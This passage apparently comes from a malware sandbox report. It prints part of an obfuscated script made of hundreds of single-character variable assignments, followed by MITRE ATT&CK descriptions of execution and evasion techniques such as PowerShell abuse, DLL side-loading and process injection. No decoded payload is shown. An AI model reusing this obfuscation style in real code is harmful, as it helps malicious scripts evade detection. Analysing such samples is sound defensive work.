385	kpwtkwvr = "T";
386	kpwtkwvr = "S";
387	kpwtkwvr = "X";
388	kpwtkwvr = "j";
389	kpwtkwvr = "a";
390	fhbwxrev = "Q";
391	fhbwxrev = "T";
392	fhbwxrev = "n";
393	fhbwxrev = "R";
394	fhbwxrev = "t";
395	fhbwxrev = "\"";
396	wfyqv = "j";
397	wfyqv = "z";
398	wfyqv = "l";
399	wfyqv = "l";
400	wfyqv = "R";
401	wfyqv = "b";
402	wfyqv = "B";
403	wfyqv = "W";
404	wfyqv = "r";
405	wfyqv = "t";
406	wfyqv = "q";
407	wfyqv = "s";
408	wfyqv = "s";
409	wfyqv = "R";
410	wfyqv = "z";
411	wfyqv = "f";
412	wfyqv = "f";
413	wfyqv = "i";
414	wfyqv = "H";
415	wfyqv = "i";
416	wfyqv = "d";
417	wfyqv = "x";
418	wfyqv = "L";
419	wfyqv = "O";
420	wfyqv = "J";
421	wfyqv = "J";
422	wfyqv = "W";
423	wfyqv = "P";
424	wfyqv = " ";
425	hvnag = "C";
426	hvnag = "f";
427	hvnag = "o";
428	hvnag = "p";
429	hvnag = "V";
430	hvnag = "P";
431	hvnag = "J";
432	hvnag = "j";
433	nmteul = "W";
434	nmteul = "b";
435	nmteul = "Y";
436	nmteul = "i";
437	nmteul = "K";
438	nmteul = "d";
439	nmteul = "E";
440	nmteul = "Q";
441	nmteul = "g";
442	nmteul = "g";
443	nmteul = "N";
444	nmteul = "u";
445	nmteul = "b";
446	nmteul = "I";
447	nmteul = "j";
448	nmteul = "i";
449	nmteul = "k";
450	nmteul = "A";
451	nmteul = "I";
452	nmteul = "S";
453	nmteul = "P";
454	nmteul = "Y";
455	nmteul = "H";
456	nmteul = "d";
457	nmteul = "T";
458	nmteul = "e";
459	nmteul = "I";
460	nmteul = "J";
461	nmteul = "e";
462	nmteul = "X";
463	nmteul = "S";
464	nmteul = "e";
465	nmteul = "u";
466	nmteul = "K";
467	nmteul = "i";
468	nmteul = "Q";
469	nmteul = "X";
470	nmteul = "A";
471	nmteul = "T";
472	nmteul = "V";
473	nmteul = "5";
474	ttezh = "C";
475	ttezh = "h";
476	ttezh = "u";
477	ttezh = "h";
478	voofrlfo = "r";
479	voofrlfo = "i";
480	voofrlfo = "Q";
481	voofrlfo = "D";
482	voofrlfo = "y";
483	voofrlfo = "E";
484	voofrlfo = "Y";
485	voofrlfo = "I";
486	voofrlfo = "V";
487	voofrlfo = "m";
488	voofrlfo = "P";
489	voofrlfo = "N";
490	voofrlfo = "s";
491	voofrlfo = "R";
492	voofrlfo = "N";
493	voofrlfo = "L";
494	voofrlfo = "X";
495	voofrlfo = "h";
496	voofrlfo = "L";
497	voofrlfo = "N";
498	voofrlfo = "2";
499	behqrzou = "J";
500	behqrzou = "f";
501	behqrzou = "P";
502	behqrzou = "H";
503	behqrzou = "D";
504	behqrzou = "P";
505	dkqhg = "D";
506	dkqhg = "E";
507	dkqhg = "h";
508	dkqhg = "H";
509	dkqhg = "K";
510	dkqhg = "o";
511	dkqhg = "J";
512	dkqhg = "X";
513	dkqhg = "q";
514	dkqhg = "x";
515	dkqhg = "x";
516	dkqhg = "T";
517	dkqhg = "K";
518	dkqhg = "p";
519	dkqhg = "x";
520	dkqhg = "I";
521	dkqhg = "R";
522	dkqhg = "N";
523	dkqhg = "p";
524	dkqhg = "W";
525	dkqhg = "w";
526	dkqhg = "H";
527	dkqhg = "A";
528	dkqhg = "X";
529	dkqhg = "v";
530	dkqhg = "M";
531	dkqhg = "x";
532	dkqhg = "R";
533	dkqhg = "F";
534	dkqhg = "j";
535	dkqhg = "z";
536	dkqhg = "S";
537	dkqhg = "f";
538	dkqhg = "q";
539	dkqhg = "Y";
540	dkqhg = "-";
541	rskdngx = "B";
542	rskdngx = "b";
543	rskdngx = "i";
544	rskdngx = "M";
545	rskdngx = "g";
546	rskdngx = "X";
547	rskdngx = "m";
548	rskdngx = "j";
549	rskdngx = "o";
550	rskdngx = "o";
551	rskdngx = "D";
552	rskdngx = "x";
553	rskdngx = "J";
554	rskdngx = "c";
555	rskdngx = "T";
556	rskdngx = "r";
557	rskdngx = "b";
558	rskdngx = "n";
559	rskdngx = "L";
560	rskdngx = "c";
561	rskdngx = "J";
562	rskdngx = "t";
563	rskdngx = "G";
564	rskdngx = "T";
565	rskdngx = "m";
566	rskdngx = "s";
567	rskdngx = "K";
568	rskdngx = "O";
569	rskdngx = "O";
570	odlpyhir = "D";
571	odlpyhir = "P";
572	odlpyhir = "k";
573	odlpyhir = "f";
574	odlpyhir = "t";
575	odlpyhir = "h";
576	odlpyhir = "c";
577	odlpyhir = "t";
578	odlpyhir = "I";
579	odlpyhir = "Z";
580	odlpyhir = "F";
581	odlpyhir = "u";
582	odlpyhir = "u";
583	dzomj = "u";
584	dzomj = "e";
585	dzomj = "D";
586	dzomj = "H";
587	dzomj = "B";
588	dzomj = "V";
589	dzomj = "E";
590	dzomj = "C";
591	dzomj = "E";
592	dzomj = "C";
593	dzomj = "T";
594	dzomj = "l";
595	dzomj = "j";
596	dzomj = "s";
597	dzomj = "/";
598	ynjbers = "e";
599	ynjbers = "M";
600	ynjbers = "v";
601	ynjbers = "a";
602	ynjbers = "j";
603	ynjbers = "q";
604	ynjbers = "E";
605	ynjbers = "e";
606	ynjbers = "P";
607	ynjbers = "a";
608	ynjbers = "j";
609	ynjbers = "J";
610	ynjbers = "K";
611	ynjbers = "X";
612	ynjbers = "h";
613	ynjbers = "C";
614	ynjbers = "S";
615	ynjbers = "P";
616	ynjbers = "D";
617	ynjbers = "J";
618	ynjbers = "o";
619	yelyp = "i";
620	yelyp = "S";
621	yelyp = "n";
622	yelyp = "q";
623	yelyp = "f";
624	yelyp = "V";
625	yelyp = "T";
626	yelyp = "R";
627	yelyp = "r";
628	yelyp = "f";
629	yelyp = "I";
630	yelyp = "l";
631	yelyp = "J";
632	yelyp = "t";
633	yelyp = "h";
634	yelyp = "H";
635	yelyp = "c";
636	yelyp = "g";
637	yelyp = "F";
638	yelyp = "t";
639	yelyp = "n";
640	yelyp = "u";
641	yelyp = "g";
642	yelyp = "a";
643	yelyp = "P";
644	yelyp = "d";
645	yelyp = "a";
646	yelyp = "I";
647	yelyp = "L";
648	yelyp = "G";
649	yelyp = "I";
650	yelyp = "T";
651	yelyp = "I";
652	yelyp = "x";
653	yelyp = "a";
654	yelyp = "C";
655	yelyp = "O";
656	yelyp = "K";
657	nrdeae = "j";
658	nrdeae = "l";
659	nrdeae = "M";
660	nrdeae = "p";
661	nrdeae = "p";
662	nrdeae = "E";
663	nrdeae = "U";
664	nrdeae = "p";
665	nrdeae = "d";
666	nrdeae = "E";
667	nrdeae = "V";
668	nrdeae = "s";
669	nrdeae = "c";
670	nrdeae = "Y";
671	nrdeae = "E";
672	nrdeae = "F";
673	nrdeae = "m";
674	nrdeae = "i";
675	nrdeae = "p";
676	nrdeae = "U";
677	nrdeae = "L";
678	nrdeae = "X";
679	nrdeae = "G";
680	nrdeae = "r";
681	nrdeae = "i";
682	nrdeae = "E";
683	nrdeae = "f";
684	nrdeae = "q";
685	nrdeae = "R";
686	nrdeae = "v";
687	nrdeae = "L";
688	nrdeae = "Y";
689	nrdeae = "C";
690	nrdeae = "x";
691	nrdeae = "A";
692	nrdeae = "p";
693	uwerrq = "i";
694	uwerrq = "C";
695	uwerrq = "a";
696	uwerrq = "U";
697	uwerrq = "T";
698	uwerrq = "Q";
699	uwerrq = "m";
700	uwerrq = "M";
701	uwerrq = "K";
702	uwerrq = "O";
703	uwerrq = "l";
704	qvjhdpuwn = "E";
705	qvjhdpuwn = "o";
706	qvjhdpuwn = "P";
707	qvjhdpuwn = "Z";
708	qvjhdpuwn = "j";
709	qvjhdpuwn = "a";
710	qvjhdpuwn = "A";
711	qvjhdpuwn = "L";
712	qvjhdpuwn = "A";
713	qvjhdpuwn = "P";
714	qvjhdpuwn = "X";
715	qvjhdpuwn = "U";
716	qvjhdpuwn = "s";
717	qvjhdpuwn = "Q";
718	qvjhdpuwn = "F";
719	qvjhdpuwn = "j";
720	qvjhdpuwn = "B";
721	qvjhdpuwn = "v";
722	qvjhdpuwn = "I";
723	qvjhdpuwn = "S";
724	qvjhdpuwn = "X";
725	qvjhdpuwn = "H";
726	ktjpoxpzy = "p";
727	ktjpoxpzy = "p";
728	ktjpoxpzy = "j";
729	ktjpoxpzy = "k";
730	ktjpoxpzy = "j";
731	ktjpoxpzy = "i";
732	ktjpoxpzy = "N";
733	ktjpoxpzy = "G";
734	ktjpoxpzy = "Z";
735	ktjpoxpzy = "M";
736	ktjpoxpzy = "c";
737	ktjpoxpzy = "e";
738	ktjpoxpzy = "V";
739	ktjpoxpzy = "C";
740	ktjpoxpzy = "u";
741	ktjpoxpzy = "Y";
742	ktjpoxpzy = "C";
743	ktjpoxpzy = "v";
744	ktjpoxpzy = "F";
745	ktjpoxpzy = "s";
746	ktjpoxpzy = "u";
747	ktjpoxpzy = "d";
748	ktjpoxpzy = "y";
749	ktjpoxpzy = "X";
750	ktjpoxpzy = "o";
751	ktjpoxpzy = "a";
752	ktjpoxpzy = "K";
753	ktjpoxpzy = "v";
754	ktjpoxpzy = "q";
755	ktjpoxpzy = "d";
756	ktjpoxpzy = "h";
757	ktjpoxpzy = "e";
758	ktjpoxpzy = "R";
759	ktjpoxpzy = "e";
760	ktjpoxpzy = "X";
761	ktjpoxpzy = "X";
762	ktjpoxpzy = "V";
763	ktjpoxpzy = "Z";
764	ktjpoxpzy = "d";
765	ktjpoxpzy = "b";
766	ktjpoxpzy = "e";
767	ktjpoxpzy = "N";
768	hwdztrv = "D";
769	hwdztrv = "E";
770	hwdztrv = "I";
771	hwdztrv = "S";
772	hwdztrv = "f";
773	hwdztrv = "V";
774	hwdztrv = "n";
775	hwdztrv = "Z";
776	hwdztrv = "n";
777	hwdztrv = "P";
778	hwdztrv = "t";
779	hwdztrv = "J";
780	hwdztrv = "K";
781	hwdztrv = "t";
782	pcicm = "y";
783	pcicm = "Y";
784	pcicm = "c";
785	pcicm = "U";
786	pcicm = "m";
787	pcicm = "R";
788	pcicm = "Q";
789	pcicm = "p";
790	pcicm = "F";
791	pcicm = "L";
792	pcicm = "B";
793	pcicm = "c";
794	pcicm = "D";
795	pcicm = "r";
796	pcicm = "u";
797	pcicm = "m";
798	pcicm = "s";
799	pcicm = "n";
800	pcicm = "U";
801	pcicm = "n";
802	pcicm = "x";
803	pcicm = "h";
804	pcicm = "U";
805	pcicm = "C";
806	pcicm = "r";
807	pcicm = "M";
808	pcicm = "W";
809	pcicm = "n";
810	pcicm = "B";
811	pcicm = "Y";
812	pcicm = "x";
813	pcicm = "b";
814	pcicm = "f";
815	pcicm = "q";
816	pcicm = "u";
817	pcicm = "g";
818	pcicm = "X";
819	pcicm = "%";
820	ynphdc = "R";
821	ynphdc = "H";
822	ynphdc = "w";
823	ynphdc = "Q";
824	cuzfvmrja = "V";
825	cuzfvmrja = "n";
826	cuzfvmrja = "X";
827	cuzfvmrja = "D";
828	cuzfvmrja = "l";
829	cuzfvmrja = "E";
830	cuzfvmrja = "b";
831	cuzfvmrja = "Q";
832	cuzfvmrja = "T";
833	cuzfvmrja = "i";
834	cuzfvmrja = "l";
835	cuzfvmrja = "n";
836	cuzfvmrja = "v";
837	cuzfvmrja = "j";
838	cuzfvmrja = "K";
839	cuzfvmrja = "E";
840	udvcmxrtu = "H";
841	udvcmxrtu = "x";
842	udvcmxrtu = "v";
843	udvcmxrtu = "a";
844	udvcmxrtu = "X";
845	udvcmxrtu = "Q";
846	udvcmxrtu = "I";
847	udvcmxrtu = "b";
848	udvcmxrtu = "o";
849	udvcmxrtu = "n";
850	udvcmxrtu = "J";
851	udvcmxrtu = "m";
852	udvcmxrtu = "&";
853	uhfkjnsc = "A";
854	uhfkjnsc = "a";
855	uhfkjnsc = "z";
856	uhfkjnsc = "A";
857	uhfkjnsc = "z";
858	uhfkjnsc = "I";
859	uhfkjnsc = "J";
860	uhfkjnsc = "t";
861	uhfkjnsc = "d";
862	uhfkjnsc = "B";
863	uhfkjnsc = "k";
864	uhfkjnsc = "D";
865	uhfkjnsc = "K";
866	uhfkjnsc = "P";
867	uhfkjnsc = "u";
868	uhfkjnsc = "g";
869	uhfkjnsc = "j";
870	uhfkjnsc = "f";
871	uhfkjnsc = "S";
872	ucklwdpg = "Q";
873	ucklwdpg = "u";
874	ucklwdpg = "n";
875	ucklwdpg = "R";
876	ucklwdpg = "g";
877	ucklwdpg = "b";
878	ucklwdpg = "Q";
879	ucklwdpg = "z";
880	ucklwdpg = "D";
881	ucklwdpg = "h";
882	ucklwdpg = "U";
883	ucklwdpg = "V";
884	ucklwdpg = "f";
885	ucklwdpg = "y";
886	ucklwdpg = "s";
887	ucklwdpg = "u";
888	ucklwdpg = "S";
889	ucklwdpg = "O";
890	ucklwdpg = "o";
891	ucklwdpg = "I";
892	ucklwdpg = "h";
893	ucklwdpg = "Y";
894	ucklwdpg = "K";
895	ucklwdpg = "x";
896	ucklwdpg = "6";
897	rxbua = "N";
898	rxbua = "S";
899	rxbua = "b";
900	rxbua = "D";
901	rxbua = "H";
902	rxbua = "f";
903	rxbua = "f";
904	rxbua = "I";
905	rxbua = "e";
906	rxbua = "X";
907	rxbua = "F";
908	rxbua = "X";
909	rxbua = "J";
910	rxbua = "m";
911	rxbua = "o";
912	rxbua = "a";
913	rxbua = "f";
914	rxbua = "z";
915	rxbua = "V";
916	rxbua = "n";
917	rxbua = "t";
918	rxbua = "4";
919	gdxkg = "w";
920	gdxkg = "r";
921	gdxkg = "B";
922	gdxkg = "v";
923	gdxkg = "A";
924	gdxkg = "D";
925	gdxkg = "R";
926	gdxkg = "g";
927	gdxkg = "s";
928	gdxkg = "t";
929	gdxkg = "v";
930	mpwfabvnt = "T";
931	mpwfabvnt = "Z";
932	mpwfabvnt = "R";
933	mpwfabvnt = "k";
934	mpwfabvnt = "M";
935	mpwfabvnt = "v";
936	mpwfabvnt = "u";
937	mpwfabvnt = "T";
938	mpwfabvnt = "l";
939	mpwfabvnt = "n";
940	mpwfabvnt = "p";
941	mpwfabvnt = "R";
942	mpwfabvnt = "G";
943	mpwfabvnt = "Z";
944	mpwfabvnt = "Y";
945	mpwfabvnt = "A";
946	mpwfabvnt = "w";
947	mpwfabvnt = "y";
948	mpwfabvnt = "f";
949	mpwfabvnt = "c";
950	lybjtrq = "V";
951	lybjtrq = "Y";
952	lybjtrq = "l";
953	lybjtrq = "n";
954	lybjtrq = "p";
955	lybjtrq = "O";
956	lybjtrq = "l";
957	lybjtrq = "y";
958	lybjtrq = "C";
959	lybjtrq = "t";
960	lybjtrq = "C";
961	lybjtrq = "w";
962	lybjtrq = "O";
963	lybjtrq = "g";
964	lybjtrq = "B";
965	lybjtrq = "a";
966	lybjtrq = "T";
967	lybjtrq = "O";
968	lybjtrq = "t";
969	lybjtrq = "x";
970	lybjtrq = "q";
971	lybjtrq = "a";
972	lybjtrq = "S";
973	lybjtrq = "q";
974	lybjtrq = "S";
975	lybjtrq = "Y";
976	lybjtrq = "m";
977	lybjtrq = "D";
978	lybjtrq = "U";
979	lybjtrq = "q";
980	daohaprh = "u";
981	daohaprh = "i";
982	daohaprh = "G";
983	daohaprh = "o";
984	daohaprh = "j";
985	daohaprh = "X";
986	daohaprh = "n";
987	daohaprh = "b";
988	daohaprh = "l";
989	daohaprh = "O";
990	daohaprh = "R";
991	daohaprh = "L";
992	daohaprh = "j";
993	daohaprh = "z";
994	daohaprh = "o";
995	daohaprh = "P";
996	daohaprh = "s";
997	daohaprh = "w";
998	daohaprh = "Q";
999	daohaprh = "f";
1000	daohaprh = "U";
1001	daohaprh = "r";
1002	daohaprh = "s";
1003	daohaprh = "f";
1004	daohaprh = "k";
1005	daohaprh = "H";
1006	daohaprh = "e";
1007	daohaprh = "z";
1008	daohaprh = "Q";
1009	daohaprh = "x";
1010	daohaprh = "y";
1011	daohaprh = "v";
1012	daohaprh = "r";
1013	daohaprh = "r";
1014	daohaprh = "o";
1015	daohaprh = "S";
1016	daohaprh = "x";
1017	daohaprh = "e";
1018	daohaprh = "C";
1019	gnjgnipe = "s";
1020	gnjgnipe = "I";
1021	gnjgnipe = "Z";
1022	gnjgnipe = "g";
1023	gnjgnipe = "d";
1024	gnjgnipe = "T";
1025	gnjgnipe = "Z";
1026	gnjgnipe = "E";
1027	gnjgnipe = "u";
1028	gnjgnipe = "i";
1029	gnjgnipe = "J";
1030	gnjgnipe = "o";
1031	gnjgnipe = "z";
1032	gnjgnipe = "i";
1033	gnjgnipe = "y";
1034	gnjgnipe = "E";
1035	gnjgnipe = "Y";
1036	celbnesp = "t";
1037	celbnesp = "g";
1038	celbnesp = "T";
1039	celbnesp = "Y";
1040	celbnesp = "x";
1041	celbnesp = "d";
1042	celbnesp = "l";
1043	celbnesp = "q";
1044	celbnesp = "d";
1045	mwbwpr = "h";
1046	mwbwpr = "h";
1047	mwbwpr = "G";
1048	mwbwpr = "D";
1049	mwbwpr = "m";
1050	mwbwpr = "w";
1051	mwbwpr = "a";
1052	mwbwpr = "J";
1053	mwbwpr = "U";
1054	mwbwpr = "f";
1055	mwbwpr = "s";
1056	mwbwpr = "C";
1057	mwbwpr = "q";
1058	mwbwpr = "R";
1059	mwbwpr = "j";
1060	mwbwpr = "i";
1061	mwbwpr = "X";
1062	mwbwpr = "M";
1063	mwbwpr = "C";
1064	mwbwpr = "H";
1065	mwbwpr = "E";
1066	mwbwpr = "V";
1067	mwbwpr = "j";
1068	mwbwpr = "c";
1069	mwbwpr = "j";
1070	mwbwpr = "H";
1071	mwbwpr = "n";
1072	mwbwpr = "U";
1073	mwbwpr = "0";
1074	vcmpigyn = "U";
1075	vcmpigyn = "L";
1076	itdoodlh = "z";
1077	itdoodlh = "N";
1078	itdoodlh = "N";
1079	itdoodlh = "c";
1080	itdoodlh = "t";
1081	itdoodlh = "1";
1082	fpuarny = "e";
1083	fpuarny = "e";
1084	fpuarny = "C";
1085	fpuarny = "a";
1086	fpuarny = "S";
1087	fpuarny = "F";
1088	fpuarny = "H";
1089	fpuarny = "a";
1090	fpuarny = "w";
1091	fpuarny = "v";
1092	fpuarny = "B";
1093	fpuarny = "M";
1094	fpuarny = "t";
1095	fpuarny = "a";
1096	fpuarny = "c";
1097	fpuarny = "C";
1098	fpuarny = "Q";
1099	fpuarny = "e";
1100	fpuarny = "U";
1101	myqpcrcj = "T";
1102	myqpcrcj = "l";
1103	myqpcrcj = "c";
1104	myqpcrcj = "j";
1105	myqpcrcj = "U";
1106	myqpcrcj = "F";
1107	myqpcrcj = "F";
1108	myqpcrcj = "n";
1109	myqpcrcj = "T";
1110	myqpcrcj = "Q";
1111	myqpcrcj = "y";
1112	myqpcrcj = "B";
1113	myqpcrcj = "c";
1114	myqpcrcj = "C";
1115	myqpcrcj = "c";
1116	myqpcrcj = "S";
1117	myqpcrcj = "c";
1118	myqpcrcj = "V";
1119	myqpcrcj = "Z";
1120	myqpcrcj = "J";
1121	myqpcrcj = "s";
1122	myqpcrcj = "s";
1123	myqpcrcj = "z";
1124	myqpcrcj = "J";
1125	myqpcrcj = "G";
1126	myqpcrcj = "Q";
1127	myqpcrcj = "M";
1128	myqpcrcj = "n";
1129	myqpcrcj = "F";
1130	myqpcrcj = "R";
1131	myqpcrcj = "S";
1132	myqpcrcj = "y";
1133	myqpcrcj = "I";
1134	myqpcrcj = "y";
1135	myqpcrcj = "o";
1136	myqpcrcj = "g";
1137	unihpit = "B";
1138	unihpit = "w";
1139	unihpit = "X";
1140	unihpit = "I";
1141	unihpit = "y";
1142	unihpit = "f";
1143	unihpit = "B";
1144	unihpit = "A";
1145	unihpit = "U";
1146	unihpit = "v";
1147	unihpit = "x";
1148	unihpit = "x";
1149	unihpit = "m";
1150	unihpit = "o";
1151	unihpit = "j";
1152	unihpit = "c";
1153	unihpit = "D";
1154	unihpit = "H";
1155	unihpit = "K";
1156	unihpit = "U";
1157	unihpit = "r";
1158	unihpit = "Z";
1159	unihpit = "u";
1160	unihpit = "i";
1161	unihpit = "Z";
1162	unihpit = "R";
1163	unihpit = "g";
1164	unihpit = "M";
1165	unihpit = "O";
1166	unihpit = "B";
1167	unihpit = "n";
1168	zswof = "U";
1169	zswof = "9";
1170	smnhlip = "b";
1171	cefvwjva = "D";
1172	cefvwjva = "m";
1173	cefvwjva = "k";
1174	cefvwjva = "I";
1175	cefvwjva = "j";
1176	cefvwjva = "C";
1177	cefvwjva = "c";
1178	cefvwjva = "G";
1179	cefvwjva = "E";
1180	cefvwjva = "u";
1181	cefvwjva = "W";
1182	cefvwjva = "v";
1183	cefvwjva = "b";
1184	cefvwjva = "M";
1185	cefvwjva = "e";
1186	cefvwjva = "b";
1187	cefvwjva = "k";
1188	cefvwjva = "n";
1189	cefvwjva = "m";
1190	cefvwjva = "s";
1191	cefvwjva = "F";
1192	cefvwjva = "V";
1193	cefvwjva = "X";
1194	cefvwjva = "V";
1195	cefvwjva = "M";
1196	cefvwjva = "J";
1197	cefvwjva = "x";
1198	cefvwjva = "C";
1199	cefvwjva = "\\";
1200	vqgycx = "B";
1201	vqgycx = "G";
1202	vqgycx = "Z";
1203	vqgycx = "I";
1204	vqgycx = "o";
1205	vqgycx = "f";
1206	vqgycx = "M";
1207	vqgycx = "F";
1208	vqgycx = "f";
1209	vqgycx = "X";
1210	vqgycx = "g";
1211	vqgycx = "G";
1212	vqgycx = "c";
1213	vqgycx = "F";
1214	vqgycx = "I";
1215	vqgycx = "Q";
1216	vqgycx = "n";
1217	vqgycx = "f";
1218	lsfog = "g";
1219	lsfog = "G";
1220	lsfog = "h";
1221	lsfog = "E";
1222	lsfog = "W";
1223	lsfog = "D";
1224	lsfog = "q";
1225	lsfog = "n";
1226	lsfog = "t";
1227	lsfog = "i";
1228	lsfog = "X";
1229	lsfog = "k";
1230	lsfog = "x";
1231	lsfog = "i";
1232	lsfog = "T";
1233	lsfog = "L";
1234	lsfog = "D";
1235	lsfog = "M";
1236	lsfog = "s";
1237	lsfog = "b";
1238	lsfog = "H";
1239	lsfog = "q";
1240	lsfog = "Y";
1241	lsfog = "x";
1242	vcxuez = "f";
1243	vcxuez = "Z";
1244	vcxuez = "o";
1245	vcxuez = "t";
1246	vcxuez = "o";
1247	vcxuez = "Q";
1248	vcxuez = "L";
1249	vcxuez = "F";
1250	vcxuez = "D";
1251	vcxuez = "v";
1252	vcxuez = "Y";
1253	vcxuez = "x";
1254	vcxuez = "J";
1255	vcxuez = "s";
1256	vcxuez = "O";
1257	vcxuez = "k";
1258	vcxuez = "o";
1259	vcxuez = "s";
1260	vcxuez = "U";
1261	vcxuez = "Q";
1262	vcxuez = "A";
1263	vcxuez = "h";
1264	vcxuez = "V";
1265	vcxuez = "Q";
1266	vcxuez = "x";
1267	vcxuez = "J";
1268	vcxuez = "W";
1269	tlsujap = "L";
1270	tlsujap = "L";
1271	tlsujap = "c";
1272	tlsujap = "h";
1273	tlsujap = "b";
1274	tlsujap = "w";
1275	tlsujap = "i";
1276	tlsujap = "K";
1277	tlsujap = "p";
1278	tlsujap = "G";
1279	tlsujap = "H";
1280	tlsujap = "l";
1281	tlsujap = "T";
1282	rvrue = "P";
1283	rvrue = "q";
1284	rvrue = "n";
1285	rvrue = "L";
1286	rvrue = "M";
1287	rvrue = "a";
1288	rvrue = "h";
1289	rvrue = "D";
1290	rvrue = "S";
1291	rvrue = "R";
1292	rvrue = "O";
1293	rvrue = "M";
1294	rvrue = "H";
1295	rvrue = "u";
1296	rvrue = "z";
1297	rvrue = "p";
1298	rvrue = "Y";
1299	rvrue = "u";
1300	rvrue = "X";
1301	rvrue = "N";
1302	rvrue = "L";
1303	rvrue = "L";
1304	rvrue = "q";
1305	rvrue = "V";
1306	rvrue = "p";
1307	rvrue = "U";
1308	rvrue = "h";
1309	rvrue = "e";
1310	xfxueyclp = "t";
1311	xfxueyclp = "E";
1312	xfxueyclp = "D";
1313	xfxueyclp = "F";
1314	xfxueyclp = "m";
1315	xfxueyclp = "Z";
1316	xfxueyclp = "J";
1317	xfxueyclp = "c";
1318	xfxueyclp = "S";
1319	xfxueyclp = "I";
1320	xfxueyclp = "g";
1321	xfxueyclp = "T";
1322	xfxueyclp = "r";
1323	xfxueyclp = "S";
1324	xfxueyclp = "b";
1325	xfxueyclp = "t";
1326	xfxueyclp = "f";
1327	xfxueyclp = "K";
1328	xfxueyclp = "E";
1329	xfxueyclp = "t";
1330	xfxueyclp = "D";
1331	xfxueyclp = "u";
1332	xfxueyclp = "a";
1333	xfxueyclp = "J";
1334	xfxueyclp = "B";
1335	xfxueyclp = "R";
1336	xfxueyclp = "Y";
1337	xfxueyclp = "3";
1338	wpgesw = "V";
1339	wpgesw = "N";
1340	wpgesw = "b";
1341	wpgesw = "N";
1342	wpgesw = "S";
1343	wpgesw = "W";
1344	wpgesw = "n";
1345	wpgesw = "o";
1346	wpgesw = "m";
1347	wpgesw = "w";
1348	wpgesw = "i";
1349	wpgesw = "G";
1350	wpgesw = "w";
1351	dhkleumyt = "w";
1352	dhkleumyt = "i";
1353	dhkleumyt = "Q";
1354	dhkleumyt = "L";
1355	dhkleumyt = "e";
1356	dhkleumyt = "G";
1357	dhkleumyt = "w";
1358	dhkleumyt = "e";
1359	dhkleumyt = "K";
1360	dhkleumyt = "u";
1361	dhkleumyt = "L";
1362	dhkleumyt = "X";
1363	dhkleumyt = "y";
1364	dhkleumyt = "l";
1365	dhkleumyt = "w";
1366	dhkleumyt = "m";
1367	dhkleumyt = "i";
1368	agifzmdaa = "c";
1369	agifzmdaa = "o";
1370	agifzmdaa = "z";
1371	agifzmdaa = "Z";
1372	agifzmdaa = "z";
1373	agifzmdaa = "G";
1374	agifzmdaa = "T";
1375	agifzmdaa = "J";
1376	agifzmdaa = "x";
1377	agifzmdaa = "W";
1378	agifzmdaa = "Y";
1379	agifzmdaa = "s";
1380	agifzmdaa = "F";
1381	agifzmdaa = "I";
1382	agifzmdaa = "x";
1383	agifzmdaa = "O";
1384	agifzmdaa = "T";
1385	agifzmdaa = "j";
1386	agifzmdaa = "S";
1387	agifzmdaa = "b";
1388	agifzmdaa = "G";
1389	agifzmdaa = "U";
1390	agifzmdaa = "Y";
1391	agifzmdaa = "e";
1392	agifzmdaa = "d";
1393	agifzmdaa = "q";
1394	agifzmdaa = "x";
1395	agifzmdaa = "S";
1396	agifzmdaa = "p";
1397	agifzmdaa = "7";
1398	dbkgwlw = "A";
1399	dbkgwlw = "i";
1400	dbkgwlw = "W";
1401	dbkgwlw = "Q";
1402	dbkgwlw = "Q";
1403	dbkgwlw = "M";
1404	dbkgwlw = "d";
1405	dbkgwlw = "R";
1406	dbkgwlw = "I";
1407	eaffmd ( );	eaffmd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
